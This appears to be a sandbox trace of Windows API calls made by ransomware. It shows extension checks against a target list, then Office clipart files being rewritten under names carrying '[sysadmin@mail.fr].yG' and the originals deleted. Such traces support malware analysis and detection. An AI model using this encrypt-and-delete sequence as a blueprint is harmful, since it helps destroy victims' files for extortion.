	[0153.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.285] lstrlenW (lpString=".jpg") returned 4
	[0153.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.285] lstrlenW (lpString=".doc") returned 4
	[0153.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.285] lstrlenW (lpString=".docx") returned 5
	[0153.285] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0153.285] lstrlenW (lpString=".pdf") returned 4
	[0153.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.285] lstrlenW (lpString=".xls") returned 4
	[0153.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.285] lstrlenW (lpString=".xlsx") returned 5
	[0153.285] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0153.285] lstrlenW (lpString=".ppt") returned 4
	[0153.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.286] lstrlenW (lpString=".zip") returned 4
	[0153.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.286] lstrlenW (lpString=".rar") returned 4
	[0153.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.286] lstrlenW (lpString=".bz2") returned 4
	[0153.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.286] lstrlenW (lpString=".7z") returned 3
	[0153.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.286] lstrlenW (lpString=".dbf") returned 4
	[0153.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.286] lstrlenW (lpString=".1cd") returned 4
	[0153.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0153.286] lstrlenW (lpString=".jpg") returned 4
	[0153.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.286] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.286] lstrlenW (lpString="J0086424.WMF") returned 12
	[0153.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.288] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17016) returned 1
	[0153.288] CloseHandle (hObject=0x38c) returned 1
	[0153.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220
	[0153.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.289] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.289] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0153.289] GetLastError () returned 0x0
	[0153.289] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x4278, lpOverlapped=0x0) returned 1
	[0153.307] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x4280, lpOverlapped=0x0) returned 1
	[0153.308] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.308] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.309] SetEndOfFile (hFile=0x520) returned 1
	[0153.309] CloseHandle (hObject=0x520) returned 1
	[0153.309] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.309] SetEndOfFile (hFile=0x38c) returned 1
	[0153.313] CloseHandle (hObject=0x38c) returned 1
	[0153.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1
	[0153.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.314] lstrlenW (lpString=".doc") returned 4
	[0153.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.314] lstrlenW (lpString=".docx") returned 5
	[0153.314] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0153.314] lstrlenW (lpString=".pdf") returned 4
	[0153.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString=".xls") returned 4
	[0153.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.315] lstrlenW (lpString=".xlsx") returned 5
	[0153.315] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0153.315] lstrlenW (lpString=".ppt") returned 4
	[0153.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.315] lstrlenW (lpString=".zip") returned 4
	[0153.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.315] lstrlenW (lpString=".rar") returned 4
	[0153.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString=".bz2") returned 4
	[0153.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString=".7z") returned 3
	[0153.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.315] lstrlenW (lpString=".dbf") returned 4
	[0153.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.315] lstrlenW (lpString=".1cd") returned 4
	[0153.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.315] lstrlenW (lpString=".jpg") returned 4
	[0153.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.316] lstrlenW (lpString=".doc") returned 4
	[0153.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString=".docx") returned 5
	[0153.316] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0153.316] lstrlenW (lpString=".pdf") returned 4
	[0153.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString=".xls") returned 4
	[0153.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.316] lstrlenW (lpString=".xlsx") returned 5
	[0153.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0153.316] lstrlenW (lpString=".ppt") returned 4
	[0153.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.316] lstrlenW (lpString=".zip") returned 4
	[0153.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.316] lstrlenW (lpString=".rar") returned 4
	[0153.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString=".bz2") returned 4
	[0153.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString=".7z") returned 3
	[0153.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.316] lstrlenW (lpString=".dbf") returned 4
	[0153.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.317] lstrlenW (lpString=".1cd") returned 4
	[0153.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0153.317] lstrlenW (lpString=".jpg") returned 4
	[0153.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.317] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.317] lstrlenW (lpString="J0086428.WMF") returned 12
	[0153.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.318] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=35346) returned 1
	[0153.318] CloseHandle (hObject=0x38c) returned 1
	[0153.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220
	[0153.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.318] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.319] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0153.319] GetLastError () returned 0x0
	[0153.320] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x8a12, lpOverlapped=0x0) returned 1
	[0153.618] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x8a20, lpOverlapped=0x0) returned 1
	[0153.620] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.620] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.621] SetEndOfFile (hFile=0x520) returned 1
	[0153.621] CloseHandle (hObject=0x520) returned 1
	[0153.621] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.621] SetEndOfFile (hFile=0x38c) returned 1
	[0153.624] CloseHandle (hObject=0x38c) returned 1
	[0153.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1
	[0153.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.626] lstrlenW (lpString=".doc") returned 4
	[0153.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.626] lstrlenW (lpString=".docx") returned 5
	[0153.626] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0153.626] lstrlenW (lpString=".pdf") returned 4
	[0153.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.626] lstrlenW (lpString=".xls") returned 4
	[0153.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.626] lstrlenW (lpString=".xlsx") returned 5
	[0153.626] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0153.626] lstrlenW (lpString=".ppt") returned 4
	[0153.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.626] lstrlenW (lpString=".zip") returned 4
	[0153.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.626] lstrlenW (lpString=".rar") returned 4
	[0153.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.626] lstrlenW (lpString=".bz2") returned 4
	[0153.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.626] lstrlenW (lpString=".7z") returned 3
	[0153.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString=".dbf") returned 4
	[0153.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString=".1cd") returned 4
	[0153.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString=".jpg") returned 4
	[0153.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString=".doc") returned 4
	[0153.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString=".docx") returned 5
	[0153.627] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0153.627] lstrlenW (lpString=".pdf") returned 4
	[0153.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString=".xls") returned 4
	[0153.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.627] lstrlenW (lpString=".xlsx") returned 5
	[0153.627] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0153.627] lstrlenW (lpString=".ppt") returned 4
	[0153.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.627] lstrlenW (lpString=".zip") returned 4
	[0153.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.628] lstrlenW (lpString=".rar") returned 4
	[0153.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.628] lstrlenW (lpString=".bz2") returned 4
	[0153.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.628] lstrlenW (lpString=".7z") returned 3
	[0153.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.628] lstrlenW (lpString=".dbf") returned 4
	[0153.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.628] lstrlenW (lpString=".1cd") returned 4
	[0153.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0153.628] lstrlenW (lpString=".jpg") returned 4
	[0153.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.628] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.628] lstrlenW (lpString="J0090089.WMF") returned 12
	[0153.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.629] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=15760) returned 1
	[0153.629] CloseHandle (hObject=0x38c) returned 1
	[0153.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220
	[0153.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0153.631] GetLastError () returned 0x0
	[0153.631] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3d90, lpOverlapped=0x0) returned 1
	[0153.633] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3da0, lpOverlapped=0x0) returned 1
	[0153.634] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.634] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.634] SetEndOfFile (hFile=0x520) returned 1
	[0153.634] CloseHandle (hObject=0x520) returned 1
	[0153.635] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.635] SetEndOfFile (hFile=0x38c) returned 1
	[0153.643] CloseHandle (hObject=0x38c) returned 1
	[0153.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0153.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.644] lstrlenW (lpString=".doc") returned 4
	[0153.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.644] lstrlenW (lpString=".docx") returned 5
	[0153.644] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0153.644] lstrlenW (lpString=".pdf") returned 4
	[0153.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.644] lstrlenW (lpString=".xls") returned 4
	[0153.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.644] lstrlenW (lpString=".xlsx") returned 5
	[0153.644] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0153.644] lstrlenW (lpString=".ppt") returned 4
	[0153.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.645] lstrlenW (lpString=".zip") returned 4
	[0153.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.645] lstrlenW (lpString=".rar") returned 4
	[0153.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString=".bz2") returned 4
	[0153.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString=".7z") returned 3
	[0153.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.645] lstrlenW (lpString=".dbf") returned 4
	[0153.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.645] lstrlenW (lpString=".1cd") returned 4
	[0153.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
